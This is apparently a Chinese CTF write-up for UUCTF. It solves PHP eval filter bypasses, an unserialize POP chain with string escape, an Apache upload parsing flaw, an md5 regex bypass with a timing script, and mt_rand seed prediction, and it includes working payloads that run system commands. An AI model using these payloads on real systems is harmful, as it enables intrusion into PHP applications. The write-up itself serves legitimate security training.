目录

ez_rce

ez_unser

ezsql

ez_upload

apache 文件上传 (CVE-2017-15715)漏洞

funmd5

ezpop

我们为什么要用字符串逃逸呢

我们要逃逸什么呢?

要逃逸什么呢

phonecode


ez_rce

居然都不输入参数,可恶!!!!!!!!!<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo '看看你输入的参数!!!不叫样子!!';echo '<br>';eval($code);}else{die("你想干什么?????????");}
}
else{echo "居然都不输入参数,可恶!!!!!!!!!";show_source(__FILE__);
}译

sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell禁用了许多的命令,但是没有禁用掉\,这不就可以进行转义了吗。

然后看到`没有被禁用,输出语句的话print_r还可以使用

然后ca\t 获得flag

printf作为输出也是可以的

ez_unser

<?php
show_source(__FILE__);###very___so___easy!!!!
class test{public $a;public $b;public $c;public function __construct(){$this->a=1;$this->b=2;$this->c=3;}public function __wakeup(){$this->a='';}public function __destruct(){$this->b=$this->c;eval($this->a);}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

额这道题前不久刚碰到过这种类型的,还是学长给我解答了,其实从正则看test:3是不可能绕过wakeup的,所以我们需要执行完wakeup之后然后

$t=new test();
$t->b=&$t->a;
$t->c="system('cat /fffffffffflagafag');";
echo serialize($t);

思路很简单,就是可能被以前的思想限制了,直接用a的地址空间,然后a和b用的一个内存变量,所以给b赋值相当于给a赋值,就得到了

ezsql

打开界面输了一段语句,发现额密码在前面并且运用了倒序,然后or被过滤了,这里过滤推测是不报错,然后把过滤的字符换成空串

ez_upload

一道文件上传的题目考察的是

apache 文件上传 (CVE-2017-15715)漏洞

漏洞影响版本,Apache HTTPD 2.4.0~2.4.29

应为apache解析文件后缀的时候,是从右往左解析后缀,如果我们上传的文件后缀是.php.jpg的话,就是解析的jpg,然后这个文件依然会是php版本的,所以导致漏洞

funmd5

<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){$sub=substr($time,-1);$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);if(preg_match('/0e/',$md5[0])){$md5[0]=substr($md5[0],$sub);if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){echo "well!you win again!now flag is yours.<br>";echo $flag;}else{echo $md5[0];echo "oh!no!maybe you need learn more PHP!";}}else{echo "this is your md5:$md5[0]<br>";echo "maybe you need more think think!";}
}
else{highlight_file(__FILE__);$sub=strlen($md5[0]);echo substr($guessmd5,0,5)."<br>";echo "plase give me the md5!";
}
?>
366c0
plase give me the md5!

$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    if(preg_match('/0e/',$md5[0])){

可以先看这两行,是肯定会发生冲突的,所以我们要做的就是绕过第一个正则替换,然后直接执行第二个就可以

二:md5[1]的值为guessmd5的值,而guessmd5的值为time()获取到的值,所以需要保证每次提交时的
md5[1]的值都等于md5(time())的值
绕过:md5[0]的绕过主要是对preg_replace()绕过,%a换行符绕过.但是此时多了一个换行符,题目又提供了
一个 $md5[0]=substr($md5[0],$sub); ,只需要$sub=1即可删除%0a的值,而sub的值是由时间的最后一
位决定的(``)所以只需要保证time时间戳最后一位为1即可
附上脚本
import requests
import time as time
import hashlib
def send():#url="http://localhost/uuctf/funmd5"url="http://43.143.7.97:28076/"data="md5[0]=%0a0e215962017&md5[1]={}".format(str(hashlib.md5(str(int(time.time())).encode("utf-8")).hexdigest()))urltext=requests.get(url,data)print(urltext.text)if "NSSCTF" in urltext.text:print(urltext.text)exit()
def timeguess():time.sleep(0.5)print(int(time.time()))
for i in range(100):timeguess()send()

ezpop

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}
}
class output{public $a;function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd;function rce(){eval($this->cmd);}
}
$pdata=$_POST["data"];
if(isset($pdata))
{$data=serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);
}else{highlight_file(__FILE__);
}
?>

这是一个pop反序列化和字符串逃逸共同结合的题目

$data_replace=str_replace("hacker","loveuu!",$data);

一般这种替换有了长度的变换,就极大的可能存在字符串逃逸

首先 这道题先构造rce的链子

<?php
//flag in flag.php
error_reporting(0);
class output{public $a;function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd="system('ls /')";function rce(){eval($this->cmd);}
}
$n=new nothing();
$n->b=&$n->a;
$n->t=new output();
$n->t->a=new youwant();
echo serialize($n);
echo base64_encode(serialize($n));
?>

O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:14:"system('ls /')";}}}Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19

这里之所以要base64加密是因为,

$this->ob=unserialize(base64_decode($this->basedata));

这里有base64_decode解密的操作, 所以我们要进行加密的操作,然后这条链子构造完成以后因为

if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }

在这个类中会进行一次反序列化,然后需要满足key==UUCTF才可以进行这个反序列化

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{public $name,$key,$basedata,$ob;function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}
}
class output{public $a;  // a=new youwant();function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";  // a = new output();}function __destruct(){$this->b=$this->t;die($this->a);  // toString}
}
class youwant{public $cmd; // system("cat flag.php");function rce(){eval($this->cmd);}
}
//Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19==
$a = new UUCTF();
$a->name = "jycxk";
$a->key = "UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";
echo serialize($a);

O:5:"UUCTF":4:{s:4:"name";s:5:"jycxk";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19";s:2:"ob";N;}

得到了,然后我们就要想

$pdata=$_POST["data"];
if(isset($pdata))
{$data=serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);
}else{highlight_file(__FILE__);
}

如何用这些进行字符串逃逸的功能,首先传入了一个data,然后new UUCTF($pdata)

function __construct($str){
        $this->name=$str;
    }

这里的$str接受$pdata的值,所以这里的name赋值了我们传入的东西

我们为什么要用字符串逃逸呢

如果我们只是按照循规蹈矩,传入值只会增加name的长度,恶意代码被包含在里面,所以我们需要字符串逃逸 

我们要逃逸什么呢?

要逃逸什么呢

O:5:"UUCTF":4:{s:4:"name";s:5:"jycxk";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19";s:2:"ob";N;}

就是逃逸蓝色字符的内容,然后查字符,每一个hacker就逃逸一个字符,所以需要逃逸多少个字符就需要逃逸多少个hacker

O:5:"UUCTF":4:{s:4:"name";s:5:"jycxk";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjE0OiJzeXN0ZW0oJ2xzIC8nKSI7fX19";s:2:"ob";N;}

这里改变的就是name的值,然后利用name值进行逃逸

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}

然后我们传进去就会变成这样

<?phpO:5:"UUCTF":4:{s:4:"name";s:1659:"loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!loveuu!";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

这里的1659是love u u!的长度,不包含后面的所以后面的就会逃逸出来

然后最后就可以达到我们的rce,弄了几天它终于出来了呜呜呜

phonecode

打开是一个登录的界面,然后我们随便输入了以后发现了提示

试了几次里面的hint是不同的数字,然后结合下一次必然命中!

所以我们想到了会不会是随机数,php_seed

然后感觉会不会是用上面的手机号当作随机种子,然后提示就是第一次的

输入手机号后提示hint为10位整数,对mt_rand()比较熟悉的反应出,当mt_srand(参数)的种子为手机号的
时候,输出的hint为第一次mt_rand()的值,即mt_rand()已经运行了一次.
所以输入的验证码即为第二次mt_rand()的值(下一次必然命中)

<?php mt_srand(136); echo "hint:".mt_rand().PHP_EOL;//PHP_EOL换行的效果

echo "提交".mt_rand();

hint:329028719
提交2027400820

果然第一次生成的就是提示给我们的值, 然后提交第二次生成的随机值就可以获得flag了

MISC

七七的故事

57q15L2/5Lya6YGX5b+Y77yM5Y205LuN6KaB5Yqq5Yqb6K6w5L2P5L2g77yM5ZOq5oCV5ZG95Luk6Ieq5bex6L+Z5Liq6K+06K+d5LiN5bim5oSf5oOF55qE5a2p5a2Q77yM5Y205oC76IO95oiz5Yiw5Lq65Lus5YaF5b+D5pyA5p+U6L2v55qE6YOo5YiG77yM5LiD5LiD77yM5Y6f56We5Lit55qE5LiA5Liq5Y+v54ix55qE5bCP5YO15bC477yM5Zyo6I2v5bqX5biu55m95pyv55qE5pW055CG6I2v5p2Q77yM5LiD5LiD5aSN5rS75ZCO77yM5Lq65Lus57uP5bi45a+5552A5LuW6K+077ya4oCc5oiR5LiA5Yu65LiJ6Iqx5reh5aW277yB77yB77yB4oCd6Jm954S25pe25bi45Lya5b+Y6K6w6I2v5p2Q5pGG5pS+55qE5L2N572u77yM5L2G5piv55m95pyv5Y205LuO5p2l5rKh5pyJ6LW25LiD5LiD56a75byA77yM5Zug5Li65LiD5LiD5pep5bey57uP5LiN55+l6YGT77yM5a6277yM5Zyo5LuA5LmI5Zyw5pa55LqG44CC5pu+57uP55qE5LiD5LiD5Y+q5LiN6L+H5piv5LiA5Liq5rKh5pyJ54Om5oG855qE5aWz5a2p77yM5LiN6L+H5Li65LqG55Sf6K6h77yM5aW56ZyA6KaB6IOM6LW36IOM56+T77yM5Yiw5aSn5bGx5Lit6YeH6I2v77yM6ICM5Zyo5LiA5qyh6YeH6I2v55qE6L+H56iL5Lit77yM5LiN5bm45Y+R55Sf5LqG44CC5LiD5LiD5oSP5aSW5pGU5YCS77yM5beo5aSn55qE55a855eb6K6p6L+Z5Liq5bCP5aWz5a2p55WZ5LiL5LqG55y85rOq77yM6YKj5pe25YCZ5aW56L+Y5Lya5oSf6KeJ5Yiw55eb44CC5LiD5LiD5o2C552A5Lyk5Y+j77yM5YeG5aSH5Yiw6ZmE6L+R55qE5bGx5rSe5Lit5LyR5oGv5LiA5LiL77yM5Y205oSP5aSW5Y235YWl5LqG55KD5pyI55qE56We6a2U5LmL5oiY5Lit44CC6YKj5pe25YCZ55qE55KD5pyI5bm25LiN5a6J5a6B77yM6Jm954S25pyJ5bid5ZCb55qE5bqH5oqk77yM5L2G5Zyo5LiA5Lqb5YGP6L+c55qE5Zyw5pa577yM6L+Y5q6L5a2Y552A5paX5LqJ77yM5LiD5LiD5LiN6L+H5piv5YW25Lit5LiA5Liq44CC56We6a2U5LmL6Ze055qE5paX5LqJ77yM5L2/5aSn5Zyw5pmD5Yqo77yM5bGx5L2T5bSp5aGM77yM5LiD5LiD5omA5Zyo55qE5bGx5rSe77yM5byA5aeL5bSp5Z2P77yM5beo55+z5LiN5pat6JC95LiL77yM5Zyo5LiA6Zi16L2w6bij5aOw5Lit77yM5LiD5LiD5o6J6L+b5rex5riK77yM5aWE5aWE5LiA5oGv44CC5Zyo5LiD5LiD5r+S5Li05q275Lqh55qE5pe25YCZ77yM5aW55Ly45Ye65omL77yM5Ly85LmO5oOz6KaB5oy955WZ6L+Z576O5aW95Lq65LiW6Ze044CC6Z2i5a+55q275Lqh55qE5oGQ5oOn44CB5a+55b6F5Lqy5Lq655qE5oCd5b+177yM6K6p6L+Z5Liq5bCP5aWz5a2p54iG5Y+R5Ye65LqG5oOK5Lq655qE5rGC55Sf5qyy5pyb77yM56We5LmL55y85oKE54S25p2l5Yiw5aW555qE6Lqr6L6544CC56We6a2U55qE5oiY5LqJ57uT5p2f5LqG77yM6ICM55KD5pyI5LyX5LuZ5Lmf5Y+R546w5LqG6L+Z5Liq5ZG95oKs5LiA57q/55qE5bCP5aWz5a2p77yM5YaF5b+D5pyJ5Lqb5LiN5b+N55Sf5ZG95bCx6L+Z5qC36YCd5Y6777yM5L6/55So6Ieq6Lqr55qE5LuZ5Yqb5biu5Yqp5LiD5LiD6YeN5Zue5Lq66Ze077yM5L2G5rKh5oOz5Yiw5LiD5LiD6KKr5rC46L+c5Zyo55Sf5LiO5q2755qE5aS557yd5Lit77yM6Zm35YWl56m65YmN55qE55av54uC5LmL5Lit44CCZmxhZ3s2NjZjNjE2NzdiNTQ2ODMxNzM1ZjMxNzM1ZjY1NjE3Mzc5NWY2ZDMxNzM2MzdkPT19

进行  base64->hex转字符串 获得flag

Where is flag?

打开文件然后,看看数据流里面有什么东西

看一下协议分级里的数据包,然后追踪http流

发现了一个zip压缩包,保存到

文件-》导出-》http流,然后保存到桌面

然后用010解压文件

IHER是png里面的东西,所以添加png的文件头

89 50 4E 47 0D 0A 1A 0A。可能我的010版本的问题,只能ctrl+shift+c复制出来,用记事本加上在ctrl+shirt+v复制到010

然后打开文件发现了一个二维码

扫描二维码,得出flag is not here!!!

然后问了一个师傅说会有隐写,用网站解码,

得到flag

略略略来抓我呀(OSINT)

社工题,通过图片获得经纬度定位,然后用百度识图识别出饭店名称,在定位的附近查看酒店

UUCTF(公共赛道)相关推荐

  1. 互联网日报 | 阿里国内消费者已接近10亿;联想布局半导体赛道;我国5G用户超过6千万户...

    今日看点 ✦ 阿里巴巴CEO张勇:阿里国内消费者已接近10亿 ✦ 华为余承东:麒麟9000芯片只生产到9月15号,数量有限 ✦ 联想控股:战略性入股富瀚微,布局半导体赛道 ✦ 动力电池市场格局发生改变 ...

  2. 聚焦消费和产业两大物联网赛道,腾讯连连全新升级

    12月10日,腾讯云在IoT生态峰会上宣布旗下 "腾讯连连"品牌以及物联网平台IoT Explorer实现全新升级.通过聚合腾讯云内多个产品能力以及腾讯体系内多个生态资源,面向消费 ...

  3. To B 赛道上,“飞奔的大象”阿里会赢吗?

    To B 的赛道刚刚鸣枪,阿里产业互联网的商业图景也才刚刚打开. 开弓没有回头箭,阿里.腾讯.百度等必将重仓这条赛道是毋庸置疑的,未来产业互联网领域的竞争程度将不亚于消费互联网. 我们似乎看到,人们所 ...

  4. 运动酒店,如何“奇袭”文旅产业精准蓝海赛道——缤跃酒店

    近日,缤跃酒店战略牵手昌泰高速,进驻雷公坳文体产业园,共建江西大健康产业重点基地.作为锦江酒店(中国区)旗下360度健康运动中高端生活方式品牌,缤跃高调与南昌雷公坳文体产业园达成战略合作,强势入驻体育 ...

  5. 又一家初创公司获得数千万融资进军边缘计算赛道!

    近日,边缘计算社区从36Kr获悉北京云枢讯联科技有限公司(CloudHub)连续融资融了两轮数千万元,一起了解一下这个公司及背后的股东. 1. 云枢讯联是一家什么样的公司? 云枢讯联是一家总部位于北京 ...

  6. 传统巨头抢占区块链场景高地 医疗、汽车、金融成为热门赛道

    近日,各地方政府发布了近200份与区块链发展应用密切相关的政策文件,其中发改委.商务部.工信部.农业农村部等部门对区块链关注度最高:从地区看,大力发展区块链技术的主要有北京.上海.深圳.杭州等城市及山 ...

  7. 记一次天池比赛 - 性能挑战赛道

    叨叨 吐槽一下csdn,现在做的越来越拉胯,查个资料都需要登录之后才能复制代码,这吃相越来越难看,那我为啥还写呢?我实在懒得换平台了 闲的无聊的记录,就是分享一下自己的一点点心得,有什么建议欢迎提出 ...

  8. 互联网快讯:百世供应链发力汽配赛道;极米NEW Z6X升级版Z6X Pro上线;美的发布方舱医院集成化解决方案

    国内要闻 万科A:养猪业进展顺利,会以技术水准.生产成绩.完全成本领先为核心目标: 京东向上海提供超1600万件米面粮油等民生商品,可保障上海京东用户近1个月日常供应: 奥飞数据:所有自建数据中心获得 ...

  9. 互联网日报 | 4月14日 星期三 | 贾跃亭被终身禁入证券市场;天猫4月19日起降低开店门槛;小米正式迈入游戏手机细分赛道...

    今日看点 ✦ 天猫宣布4月19日起降低开店门槛,将首次试点"天猫试运营期" ✦ 华为公布去年云业务进展:在国内公有云服务市场位居第二 ✦ 小米迈入游戏手机细分赛道,Redmi官宣月 ...

最新文章

  1. GO学习第一天——环境搭建
  2. 批量条形码生成器_条码打印软件之Code32条形码
  3. java中min用法,java11教程--类MinguoDate用法
  4. 2.1.1 进位计数制
  5. 2019日历全年一张_带上这份2019全年活动日历,旅行打卡不迷路
  6. centos下mysql更改数据存放目录_CentOS下mysql更改数据存放目录 --转载
  7. fmea手册_黄老师与您共读新版FMEA手册07-DFMEA功能分析
  8. html判断ie6,jquery如何判断是否是ie?
  9. 【Tableau Desktop 企业日常技巧12】Tableau CA或者CDA 考试真题(附带国外面试题目)
  10. 学生网页设计作品 dreamweaver作业静态HTML网页设计模板 篮球网页作业制作
  11. 一键把Android手机投屏到电脑上,非常简单
  12. IDEA将后端代码上传至远程服务器
  13. Laravel + EasyWeChat 微信登陆功能
  14. 节点本地范围和链路本地范围_802.11协议精读15:链路模型(基于Free-Space Path Loss)...
  15. 屏幕监控软件怎样监控电脑的扩展屏?
  16. zk4元年拆解_科比zk4复刻拆解测评 zk4复刻配置和元年区别是什么
  17. 【第一个项目开发】创建domain包中的类
  18. 人脸识别闸机python_简单的Python人脸识别系统
  19. 去掉office2003盗版五角星的办法
  20. 下载 com.mob.sdk:MobSDK 失败处理

热门文章

  1. 虚拟机的安装、网关配置及安装man命令
  2. 如何打开usb计算机连接网络设置,usb共享网络怎么用
  3. java中decrement,Java LongAdder decrement()用法及代碼示例
  4. netty报错 io.netty.util.IllegalReferenceCountException: refCnt: 0, decrement: 1
  5. JPA Native Query(本地查询)及查询结果转换
  6. 【校招Web前端面试干货分享】
  7. Cannot create PoolableConnectionFactory (Communications link failure due to unde
  8. 超详细超快的免费图床设置教程
  9. 解决网盘下载速度慢的问题
  10. 数字时代,商业智能BI的落地意味着什么